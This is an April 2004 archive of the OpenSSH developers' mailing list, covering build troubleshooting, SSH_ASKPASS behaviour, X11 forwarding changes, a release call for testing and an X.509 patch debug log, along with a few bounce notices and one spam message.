From stuge-openssh-unix-dev at cdy.org  Fri Apr  9 05:14:04 2004
From: stuge-openssh-unix-dev at cdy.org (Peter Stuge)
Date: Thu, 8 Apr 2004 21:14:04 +0200
Subject: Building 3.7-p1 on i686-pc-linux-gnu for execution on
	i386-pc-linux-gnu
In-Reply-To: <DDE4FF21A5EE6C47A3A88C2FA0740577AE9F4D@blums0005.na.baesystems.com>
References: <DDE4FF21A5EE6C47A3A88C2FA0740577AE9F4D@blums0005.na.baesystems.com>
Message-ID: <20040408191404.GA7042@foo.birdnet.se>

On Thu, Apr 08, 2004 at 12:24:19PM -0400, Weber, Michael J. (US SSA) wrote:
> I have tried putting -march=i386 and -mcpu=i386 on the command line
> before running configure, but it doesn't work

How did you do this, exactly?

Try:

$ CFLAGS=-mcpu=i386 ./configure


//Peter



From jgarg at avaya.com  Fri Apr  9 06:05:43 2004
From: jgarg at avaya.com (Garg, Jai V (Jai))
Date: Thu, 8 Apr 2004 15:05:43 -0500
Subject: SSH library in C?
Message-ID: <203DDB85B91BA644921DB68926AFDC0723BA27@txq005avexu1.dal.avaya.com>

Hello,
	Is there a C API for ssh client?  If yes, where can I get documentation on it?  If no, I would like to request it.

Thank you.
 
Jai



From michael.weber at baesystems.com  Fri Apr  9 06:12:36 2004
From: michael.weber at baesystems.com (Weber, Michael J. (US SSA))
Date: Thu, 8 Apr 2004 16:12:36 -0400
Subject: Building 3.7-p1 on i686-pc-linux-gnu for execution
	oni386-pc-linux-gnu
Message-ID: <DDE4FF21A5EE6C47A3A88C2FA0740577AE9F53@blums0005.na.baesystems.com>

Peter, thanks for the idea! I did it exactly as you described... and I
still get "Illegal instruction" on the 386 platform.

I also tried

# CFLAGS='-mcpu=i386 -march=i386' ./configure --prefix=/my/prefix/here

and

# CFLAGS="-mcpu=i386 -march=i386" ./configure --prefix=/my/prefix/here

just for grins, and all had the same result.

Still trying... 

Thanks,
Mike

> -----Original Message-----
> From: 
> openssh-unix-dev-bounces+michael.weber=baesystems.com at mindrot.
> org 
> [mailto:openssh-unix-dev-bounces+michael.weber=baesystems.com@
> mindrot.org] On Behalf Of Peter Stuge
> Sent: Thursday, April 08, 2004 3:14 PM
> To: openssh-unix-dev at mindrot.org
> Subject: Re: Building 3.7-p1 on i686-pc-linux-gnu for 
> execution oni386-pc-linux-gnu
> 
> 
> On Thu, Apr 08, 2004 at 12:24:19PM -0400, Weber, Michael J. 
> (US SSA) wrote:
> > I have tried putting -march=i386 and -mcpu=i386 on the command line 
> > before running configure, but it doesn't work
> 
> How did you do this, exactly?
> 
> Try:
> 
> $ CFLAGS=-mcpu=i386 ./configure
> 
> 
> //Peter
> 
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org 
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 



From mouring at etoh.eviladmin.org  Fri Apr  9 06:22:01 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Thu, 8 Apr 2004 15:22:01 -0500 (CDT)
Subject: Building 3.7-p1 on i686-pc-linux-gnu for execution
	oni386-pc-linux-gnu
In-Reply-To: <DDE4FF21A5EE6C47A3A88C2FA0740577AE9F53@blums0005.na.baesystems.com>
Message-ID: <Pine.BSO.4.44.0404081519560.5163-100000@etoh.eviladmin.org>


What may be more helpful would be if you had gdb and see what aspect of
the code is failing with "Illegal instruction".  That way one can know
what the issue is.

For all we know your build platform compiler could be be inserting code
that it should not be from your environment.

- Ben


On Thu, 8 Apr 2004, Weber, Michael J. (US SSA) wrote:

> Peter, thanks for the idea! I did it exactly as you described... and I
> still get "Illegal instruction" on the 386 platform.
>
> I also tried
>
> # CFLAGS='-mcpu=i386 -march=i386' ./configure --prefix=/my/prefix/here
>
> and
>
> # CFLAGS="-mcpu=i386 -march=i386" ./configure --prefix=/my/prefix/here
>
> just for grins, and all had the same result.
>
> Still trying...
>
> Thanks,
> Mike
>
> > -----Original Message-----
> > From:
> > openssh-unix-dev-bounces+michael.weber=baesystems.com at mindrot.
> > org
> > [mailto:openssh-unix-dev-bounces+michael.weber=baesystems.com@
> > mindrot.org] On Behalf Of Peter Stuge
> > Sent: Thursday, April 08, 2004 3:14 PM
> > To: openssh-unix-dev at mindrot.org
> > Subject: Re: Building 3.7-p1 on i686-pc-linux-gnu for
> > execution oni386-pc-linux-gnu
> >
> >
> > On Thu, Apr 08, 2004 at 12:24:19PM -0400, Weber, Michael J.
> > (US SSA) wrote:
> > > I have tried putting -march=i386 and -mcpu=i386 on the command line
> > > before running configure, but it doesn't work
> >
> > How did you do this, exactly?
> >
> > Try:
> >
> > $ CFLAGS=-mcpu=i386 ./configure
> >
> >
> > //Peter
> >
> > _______________________________________________
> > openssh-unix-dev mailing list
> > openssh-unix-dev at mindrot.org
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> >
>
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From michael.weber at baesystems.com  Fri Apr  9 08:12:36 2004
From: michael.weber at baesystems.com (Weber, Michael J. (US SSA))
Date: Thu, 8 Apr 2004 18:12:36 -0400
Subject: Building 3.7-p1 on i686-pc-linux-gnu for execution
	oni386-pc-linux-gnu
Message-ID: <DDE4FF21A5EE6C47A3A88C2FA0740577AE9F54@blums0005.na.baesystems.com>

Thanks for the tip Ben... after much poking and prodding, I managed to
learn that the ssh tools were receiving SIGILL from the libcrytpo
library, so it's back to OpenSSL... sorry for the false alarm. I'm still
fighting all of the packages, but now that I have another tool in my box
it should be easier to pinpoint the issues.

Thanks!
Mike

> -----Original Message-----
> From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org] 
> Sent: Thursday, April 08, 2004 4:22 PM
> To: Weber, Michael J. (US SSA)
> Cc: OpenSSH Development
> Subject: RE: Building 3.7-p1 on i686-pc-linux-gnu for 
> execution oni386-pc-linux-gnu
> 
> 
> 
> What may be more helpful would be if you had gdb and see what 
> aspect of the code is failing with "Illegal instruction".  
> That way one can know what the issue is.
> 
> For all we know your build platform compiler could be be 
> inserting code that it should not be from your environment.
> 
> - Ben



From dan at doxpara.com  Fri Apr  9 09:47:53 2004
From: dan at doxpara.com (Dan Kaminsky)
Date: Thu, 08 Apr 2004 16:47:53 -0700
Subject: SSH library in C?
In-Reply-To: <203DDB85B91BA644921DB68926AFDC0723BA27@txq005avexu1.dal.avaya.com>
References: <203DDB85B91BA644921DB68926AFDC0723BA27@txq005avexu1.dal.avaya.com>
Message-ID: <4075E4A9.3030008@doxpara.com>

Garg, Jai V (Jai) wrote:

>Hello,
>	Is there a C API for ssh client?  If yes, where can I get documentation on it?  If no, I would like to request it.
>
>Thank you.
> 
>Jai
>
>_______________________________________________
>openssh-unix-dev mailing list
>openssh-unix-dev at mindrot.org
>http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>  
>
Jai,

    This might work for you:  http://0xbadc0de.be/projects/sshlib.html/

    Also worth investigating is Dropbear.

--Dan




From dtucker at zip.com.au  Fri Apr  9 12:21:49 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 09 Apr 2004 12:21:49 +1000
Subject: SSH library in C?
In-Reply-To: <4075E4A9.3030008@doxpara.com>
References: <203DDB85B91BA644921DB68926AFDC0723BA27@txq005avexu1.dal.avaya.com>
	<4075E4A9.3030008@doxpara.com>
Message-ID: <407608BD.6050602@zip.com.au>

Dan Kaminsky wrote:

> Garg, Jai V (Jai) wrote:
>>     Is there a C API for ssh client?  If yes, where can I get 
>> documentation on it?  If no, I would like to request it.

A lot of software that uses SSH as a transport uses popen() or 
socketpair/fork/exec as its API.

>    This might work for you:  http://0xbadc0de.be/projects/sshlib.html/

Peter Gutmann's cryptlib speaks SSH.
http://www.cs.auckland.ac.nz/~pgut001/cryptlib/

>    Also worth investigating is Dropbear.

Dropbear is a SSH2-only server only, though.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From dtucker at zip.com.au  Fri Apr  9 12:27:32 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 09 Apr 2004 12:27:32 +1000
Subject: Building 3.7-p1 on i686-pc-linux-gnu for
	execution	oni386-pc-linux-gnu
In-Reply-To: <DDE4FF21A5EE6C47A3A88C2FA0740577AE9F54@blums0005.na.baesystems.com>
References: <DDE4FF21A5EE6C47A3A88C2FA0740577AE9F54@blums0005.na.baesystems.com>
Message-ID: <40760A14.8030609@zip.com.au>

Weber, Michael J. (US SSA) wrote:

> Thanks for the tip Ben... after much poking and prodding, I managed to
> learn that the ssh tools were receiving SIGILL from the libcrytpo
> library, so it's back to OpenSSL... sorry for the false alarm. I'm still
> fighting all of the packages, but now that I have another tool in my box
> it should be easier to pinpoint the issues.

Try OpenSSL's self-test ("make tests").  I'd try building it with the 
no-asm Configure flag.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From postmaster at msg1s.netvision.net.il  Fri Apr  9 22:44:46 2004
From: postmaster at msg1s.netvision.net.il (Internet Mail Delivery)
Date: Fri, 09 Apr 2004 15:44:46 +0300 (IDT)
Subject: Delivery Notification: Delivery has failed
Message-ID: <0HVW000T5M2M5K@msg1s.netvision.net.il>

This report relates to a message you sent with the following header fields:

  Return-path: <openssh-unix-dev at mindrot.org>
  Received: from ims-ms-daemon.msg1s.netvision.net.il by msg1s.netvision.net.il
   (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
   id <0HVW000SZM2M5K at msg1s.netvision.net.il>
   (original mail from openssh-unix-dev at mindrot.org); Fri,
   9 Apr 2004 15:44:46 +0300 (IDT)
  Received: from mxin4.netvision.net.il ([194.90.9.34]) by msg1s.netvision.net.il
   (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
   with ESMTP id <0HVW000YQM2L4A at msg1s.netvision.net.il>; Fri,
   09 Apr 2004 15:44:46 +0300 (IDT)
  Received: from netvision.net.il ([61.174.184.190]) by mxin4.netvision.net.il
   (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
   with ESMTP id <0HVW00DREM16ZZ at mxin4.netvision.net.il> for
   andro1 at netvision.net.il (ORCPT andro1 at netvision.net.il); Fri,
   09 Apr 2004 15:44:45 +0300 (IDT)
  Date: Fri, 09 Apr 2004 20:41:28 +0800
  From: openssh-unix-dev at mindrot.org
  Subject: Mail Delivery (failure andro1 at netvision.net.il)
  To: andro1 at netvision.net.il
  Message-id: <0HVW00DRFM18ZZ at mxin4.netvision.net.il>
  MIME-version: 1.0
  Content-type: multipart/related;
   boundary="Boundary_(ID_v/8Sxey2NWM4cDtSbVkVkg)"; type="multipart/alternative"
  X-Priority: 3
  X-MSMail-priority: Normal

Your message cannot be delivered to the following recipients:

  Recipient address: andro1 at netvision.net.il
  Original address: andro1 at netvision.net.il
  Reason: Over quota

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: text/rfc822-headers
Size: 1195 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040409/902b3060/attachment.bin 

From postmaster at mundivox.com  Sat Apr 10 02:20:52 2004
From: postmaster at mundivox.com (Mail Delivery Service)
Date: Fri, 9 Apr 2004 13:20:52 -0300
Subject: Delivery Status Notification
Message-ID: <40698E3A000CA199@CENOBITA.mundivox.com>

Your message was refused by recipient's server filtering program.
Reason given was as follows:
Mensagem bloqueada por suspeita de v?rus. Verifique se a mensagem cont?m anexos com a extens?o *.pif
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: text/rfc822-headers
Size: 523 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040409/4e56047a/attachment.bin 

From dtucker at zip.com.au  Sat Apr 10 10:27:27 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Sat, 10 Apr 2004 10:27:27 +1000
Subject: openssh-3.8p1 fails to set TZ environment variable bug
In-Reply-To: <40757D81.6020307@ucar.edu>
References: <40757D81.6020307@ucar.edu>
Message-ID: <40773F6F.8020708@zip.com.au>

Craig Ruff wrote:

> Found on while running on IRIX 6.5.22f, sshd from openssh-3.8p1 nukes 
> its envrionment in main(), causing sshd to loose track of the TZ 
> environment variable passed to it by the system.  This means that inside 
> do_setup_env(), the call to getenv("TZ") will never succeed, despite the 
> fact that this variable should have a value.

Fixed in current, see:
http://bugzilla.mindrot.org/show_bug.cgi?id=810

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From uk at dataway.ch  Sun Apr 11 08:03:09 2004
From: uk at dataway.ch (A. Uk / dataway GmbH)
Date: Sun, 11 Apr 2004 00:03:09 +0200
Subject: FTP tunnelling patch
Message-ID: <20040410220309.GE2509@aquarius.dataway.ch>

Hello everyone,

I have made a very crude patch against OpenSSL-3.8p1 for secure FTP
forwarding. It intercepts the server's "227 Entering Passive Mode"
message and opens a forwarding port. Not the best of code, but it
works for the one application where I need it.

http://www.dataway.ch/chip/patches/ftptunnel-openssh-3.8p1.patch.txt

Let me know if this is at all something that could go into the main
codebase; if so I will polish it up.

regards,
anthony



From ttk2 at ciar.org  Mon Apr 12 16:13:12 2004
From: ttk2 at ciar.org (ttk2 at ciar.org)
Date: 12 Apr 2004 06:13:12 -0000
Subject: Regarding SSH_ASKPASS
Message-ID: <20040412061312.9588.qmail@ciar.org>


  I've been giving SSH_ASKPASS a hard look, and it's not clear to 
me how it's supposed to work.  The documentation (ssh.1) seems 
explicit enough:

 SSH_ASKPASS
   If ssh needs a passphrase, it will read the passphrase from the
   current terminal if it was run from a terminal.  If ssh does not
   have a terminal associated with it but DISPLAY and SSH_ASKPASS
   are set, it will execute the program specified by SSH_ASKPASS
   and open an X11 window to read the passphrase.  This is particu-
   larly useful when calling ssh from a .Xsession or related
   script.  (Note that on some machines it may be necessary to
   redirect the input from /dev/null to make this work.)

  But my numerous efforts to trigger this behavior failed, so I 
looked at the source.  As far as I can see, the ssh code doesn't 
allow for this to happen.  The read_passphrase() function never 
gets called by ssh with the RP_ALLOW_STDIN flag set, and the 
only other way to get ssh_askpass() to get called is for 
open(_PATH_TTY, O_RDWR) to fail.  But /dev/tty is a+rw in the 
normal case.

>From readpass.c:
char *
read_passphrase(const char *prompt, int flags)
{
        char *askpass = NULL, *ret, buf[1024];
        int rppflags, use_askpass = 0, ttyfd;

        rppflags = (flags & RP_ECHO) ? RPP_ECHO_ON : RPP_ECHO_OFF;
        if (flags & RP_ALLOW_STDIN) {
                if (!isatty(STDIN_FILENO))
                        use_askpass = 1;
        } else {
                rppflags |= RPP_REQUIRE_TTY;
                ttyfd = open(_PATH_TTY, O_RDWR);
                if (ttyfd >= 0)
                        close(ttyfd);
                else
                        use_askpass = 1;
        }

.. and thereafter, ssh_askpass() is called iff use_askpass is set. 
But according to Mr. Friedl on this list, the documented use of 
SSH_ASKPASS is usable from ssh:

> Subject:    Re: Feature request
> From:       Markus Friedl <markus () openbsd ! org>
> Date:       2004-03-14 18:48:43
> Message-ID: <20040314184842.GA29132 () folly>
> 
> On Sun, Mar 14, 2004 at 06:48:35PM +0100, Peter Stuge wrote:
> > On Sun, Mar 14, 2004 at 05:55:13PM +0100, Martin Kluge wrote:
> > > So would you accept a patch to add a new command line option
> > > (suggestion: -d) to specify a password directly on the command line?
> >
> > This has been requested before but declined because it promotes insecure
> > behavior. (Your system may be isolated, but all aren't and it's usually
> > possible to see any arguments of all processes in the system.)
> 
> yes, but you can abuse SSH_ASKPASS for this.

  I've been staring at this until my eyes cross, and checked 
around on other platforms to see if maybe /dev/tty permissions 
are different on other *nixes .. please, is this a bug in the 
documentation, a bug in the code, or my own misunderstanding?

  -- TTK



From pnetofasty at decibel.com.br  Mon Apr 12 18:30:11 2004
From: pnetofasty at decibel.com.br (Gilmar P. Santos)
Date: Mon, 12 Apr 2004 05:30:11 -0300
Subject: =?iso-8859-1?q?Jantar_de_Neg=F3cios?=
Message-ID: <20040412135518.80AAE27C188@shitei.mindrot.org>

Convite para - Jantar de Neg?cios.
Buscamos Pessoas, Profissionais e Empres?rios, para Trabalho e Parceria
com E-Business, usando a Internet.

Visite: http://www.rendaforte.com/jantar/

Gilmar P. Santos
NGTCorp - D?vidas pelo email wtrcorp at ibest.com.br





Para ser removido de futuros correios, por favor, envie email para
ngtcad at ibest.com.br, com o assunto REMOVER. Obrigado.



From gert at greenie.muc.de  Tue Apr 13 02:21:02 2004
From: gert at greenie.muc.de (Gert Doering)
Date: Mon, 12 Apr 2004 18:21:02 +0200
Subject: Regarding SSH_ASKPASS
In-Reply-To: <20040412061312.9588.qmail@ciar.org>;
	from ttk2@ciar.org on Mon, Apr 12, 2004 at 06:13:12AM -0000
References: <20040412061312.9588.qmail@ciar.org>
Message-ID: <20040412182102.U14827@greenie.muc.de>

Hi,

On Mon, Apr 12, 2004 at 06:13:12AM -0000, ttk2 at ciar.org wrote:
> only other way to get ssh_askpass() to get called is for 
> open(_PATH_TTY, O_RDWR) to fail.  But /dev/tty is a+rw in the 
> normal case.

/dev/tty can only be opened if the program has a controlling tty (which
might be false if called from a daemon, or from an X11 window manager,
etc.)

gert
-- 
USENET is *not* the non-clickable part of WWW!
                                                           //www.muc.de/~gert/
Gert Doering - Munich, Germany                             gert at greenie.muc.de
fax: +49-89-35655025                        gert at net.informatik.tu-muenchen.de



From slack at slackware.ru  Tue Apr 13 23:11:58 2004
From: slack at slackware.ru (slack at slackware.ru)
Date: Tue, 13 Apr 2004 17:11:58 +0400 (MSD)
Subject: X11 forwarding
Message-ID: <Pine.LNX.4.58.0404131709430.23692@scil.sinp.msu.ru>


X11 forwarding is not working.
It has unstable behaviour, X clients often have lost connections (cannot
find window). Typical example - gimp, launched from remote host.
Tested latest snapshots.



From dtucker at zip.com.au  Tue Apr 13 23:12:41 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Tue, 13 Apr 2004 23:12:41 +1000
Subject: X11 forwarding
In-Reply-To: <Pine.LNX.4.58.0404131709430.23692@scil.sinp.msu.ru>
References: <Pine.LNX.4.58.0404131709430.23692@scil.sinp.msu.ru>
Message-ID: <407BE749.1030006@zip.com.au>

slack at slackware.ru wrote:
> X11 forwarding is not working.
> It has unstable behaviour, X clients often have lost connections (cannot
> find window). Typical example - gimp, launched from remote host.
> Tested latest snapshots.

http://www.openssh.com/faq.html#3.13

3.13 - I upgraded to OpenSSH 3.8 and some X11 programs stopped working.

As documented in the 3.8 release notes, ssh will now use untrusted X11 
cookies by default. The previous behaviour can be restored by setting 
ForwardX11Trusted yes in ssh_config.

Symptoms include BadWindow (invalid Window parameter) and BadAccess 
(attempt to access private resource denied) errors.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From dtucker at zip.com.au  Wed Apr 14 00:42:44 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 14 Apr 2004 00:42:44 +1000
Subject: OpenSSH 3.8.1p1: call for testing
Message-ID: <407BFC64.5030702@zip.com.au>

Hello All.
	Portable OpenSSH version 3.8.1p1 nearing release.  This is primarily a 
bug fix release and we're asking for interested parties to try a 
snapshot [1].  A reminder: we rely on community feedback to find out 
about problems, particularly as there are many platforms any 
configurations that we don't have access to and can't test.

	In most cases, running the built-in tests is as simple as "./configure 
&& make tests", but actually using it will provide a better test for 
your environment.  Both would be ideal, but either one is far better 
than neither.

	In particular, on HP-UX configure will now attempt to detect a working 
getnameinfo(), so if you are using IPv6 on HP-UX please see if it 
detects correctly for your environment.

	Thanks,
		-Daz.

Bugs fixed in this release:
#748 HP-UX 11.11 (aka 11i) needs BROKEN_GETADDRINFO.
#802 sshd configured with SIA doesn't link on Tru64.
#808 segfault if not using pam/kbdint mech and password's expired
#810 TZ environment variable not being set.
#811 locked /etc/shadow password prefix on linux.
#820 utmp seems to be getting clobbered on logins (IRIX)
#825 OpenSSH 3.8p1 breaks on Solaris 8 with 4in6 mapped addresses.

[1] ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/snapshot/
or one of its mirrors listed at
http://www.openssh.com/portable.html#mirrors

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.





From roland.mainz at nrubsig.org  Wed Apr 14 03:12:58 2004
From: roland.mainz at nrubsig.org (Roland Mainz)
Date: Tue, 13 Apr 2004 19:12:58 +0200
Subject: X11 forwarding
References: <Pine.LNX.4.58.0404131709430.23692@scil.sinp.msu.ru>
Message-ID: <407C1F9A.AF4F78B1@nrubsig.org>

slack at slackware.ru wrote:
> X11 forwarding is not working.
> It has unstable behaviour, X clients often have lost connections (cannot
> find window). Typical example - gimp, launched from remote host.
> Tested latest snapshots.

That's a "gimp" bug then. "gimp" needs to be fixed to work when the X11
SECURITY extension is active and the application treated as "untrusted"
(which is now the default for both OpenSSH and SSH.com's version of
"ssh").

Please file a bug against "gimp" and post the bug number (or bugzilla
URL) back... Thanks!

----

Bye,
Roland

-- 
  __ .  . __
 (o.\ \/ /.o) roland.mainz at nrubsig.org
  \__\/\/__/  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
  /O /==\ O\  TEL +49 2426 901568 FAX +49 2426 901569
 (;O/ \/ \O;)



From nd_stew at yahoo.com  Wed Apr 14 05:51:46 2004
From: nd_stew at yahoo.com (C S)
Date: Tue, 13 Apr 2004 12:51:46 -0700 (PDT)
Subject: Patch Status
Message-ID: <20040413195146.71485.qmail@web41108.mail.yahoo.com>

When is the x.509 patch going to become part of the
main 
distribution of OpenSSH, and if not, why?  Looks like
other
projects i.e. OpenSC might be using it now as well.

Secondly, thought I'd try it again, new patch
(Validator), same error...



TIA,

cs



########################
# ssh-x509 Unknown Public Key Type
########################
1 Installed OpenSSL-0.9.7d (no customization)
2 Installed OpenSSH-3.8p1 (no customization)
3 Installed Roumen's x509 patch
4 Tested, SSH works fine with Roumen's keys from
ca-test
5 Tested with my keys, failed SEE SSH CLIENT TEST RUN,
noted with "!"
6 Test works once these files are replaced from #4
    ssh_config
    sshd_config
    ssh_host_rsa_key
    ssh_host_rsa_key.pub
    ~/.ssh:  authorized_keys  id_rsa  id_rsa.pub 
known_hosts

Obviously, you'd think it's how I've constructed the
keys, but I can't
find it (see Certificate Prep below).
     
########################
# ssh error message
########################
ssh_x509_verify: verify failed: error:0D09B0A3:asn1
encoding routines:d2i_PublicKey:unknown public key
type
debug3: ssh_x509_verify: return 0
key_verify failed for server_host_key
########################
# sshd server - test run
########################
debug2: read_server_config: filename
/usr/local/etc/sshd_config
debug3: x509rsa sigtype=0
debug2: hash dir '/root/demoCA' added to x509 store
debug2: file '/root/.ssh/ca-bundle.crt' added to x509
store
debug2: hash dir '/usr/local/etc/ca/crl' added to x509
revocation store
debug1: sshd version OpenSSH_3.8p1
debug3: Not a RSA1 key file
/usr/local/etc/ssh_host_rsa_key.
debug1: read PEM private key begin
debug1: read X509 certificate done: type RSA+cert
debug1: read PEM private key done: type RSA+cert
debug1: private host key: #0 type 3 RSA+cert
Could not load host key:
/usr/local/etc/ssh_host_dsa_key
socket: Address family not supported by protocol
debug1: Bind to port 2022 on 0.0.0.0.
Server listening on 0.0.0.0 port 2022.
debug1: Server will not fork when running in debugging
mode.
Connection from 127.0.0.1 port 32845
debug1: Client protocol version 2.0; client software
version OpenSSH_3.8p1
debug1: match: OpenSSH_3.8p1 pat OpenSSH*
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.8p1
debug3: privsep user:group 74:74
debug1: permanently_set_uid: 74/74
debug1: list_hostkey_types: x509v3-sign-rsa
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: x509v3-sign-rsa
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit:
x509v3-sign-rsa,x509v3-sign-dss,ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug3: call key_type_from_name(x509v3-sign-rsa) ...
debug2: Network child is on pid 30795
debug3: preauth child monitor started
debug3: mm_request_receive entering
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug3: mm_request_send entering: type 0
debug3: mm_choose_dh: waiting for MONITOR_ANS_MODULI
debug3: mm_request_receive_expect entering: type 1
debug3: mm_request_receive entering
debug3: monitor_read: checking request 0
debug3: mm_answer_moduli: got parameters: 1024 1024
8192
debug3: mm_request_send entering: type 1
debug2: monitor_read: 0 used once, disabling now
debug3: mm_request_receive entering
debug3: mm_choose_dh: remaining 0
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug2: dh_gen_key: priv key bits set: 128/256
debug2: bits set: 533/1024
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug2: bits set: 540/1024
debug3: mm_key_sign entering
debug3: mm_request_send entering: type 4
debug3: mm_key_sign: waiting for MONITOR_ANS_SIGN
debug3: mm_request_receive_expect entering: type 5
debug3: mm_request_receive entering
debug3: monitor_read: checking request 4
debug3: mm_answer_sign
debug3: ssh_x509_sign: key_type=RSA+cert,
key_ssh_name=x509v3-sign-rsa
debug3: ssh_x509_sign: evp_md { 4(md5),
8(md5WithRSAEncryption), 16, ... }
debug3: ssh_x509_sign: return 0
debug3: mm_answer_sign: signature 0x809cdc0(151)
debug3: mm_request_send entering: type 5
debug2: monitor_read: 4 used once, disabling now
debug3: mm_request_receive entering
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug2: kex_derive_keys
debug2: set_newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
Connection closed by 127.0.0.1
debug1: do_cleanup
debug1: do_cleanup
########################
# ssh client - test run
########################
OpenSSH_3.8p1, SSH protocols 1.5/2.0, OpenSSL 0.9.7a
Feb 19 2003
debug1: Reading configuration data
/usr/local/etc/ssh_config
debug3: x509rsa sigtype=0
debug2: hash dir '/root/demoCA' added to x509 store
debug2: file '/root/.ssh/ca-bundle.crt' added to x509
store
debug2: hash dir '/root/.ssh/crl' added to x509
revocation store
debug2: hash dir '/root/demoCA' added to x509 store
debug2: file '/root/.ssh/ca-bundle.crt' added to x509
store
debug2: hash dir '/usr/local/etc/ca/crl' added to x509
revocation store
debug2: ssh_connect: needpriv 0
debug1: Connecting to localhost [127.0.0.1] port 2022.
debug1: Connection established.
debug3: key_load_public(/root/.ssh/id_rsa,...)
debug3: Not a RSA1 key file /root/.ssh/id_rsa.
debug3: call key_type_from_name(-----BEGIN) ...
debug2: key_type_from_name: unknown key type
'-----BEGIN'
debug3: key_read: missing keytype
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
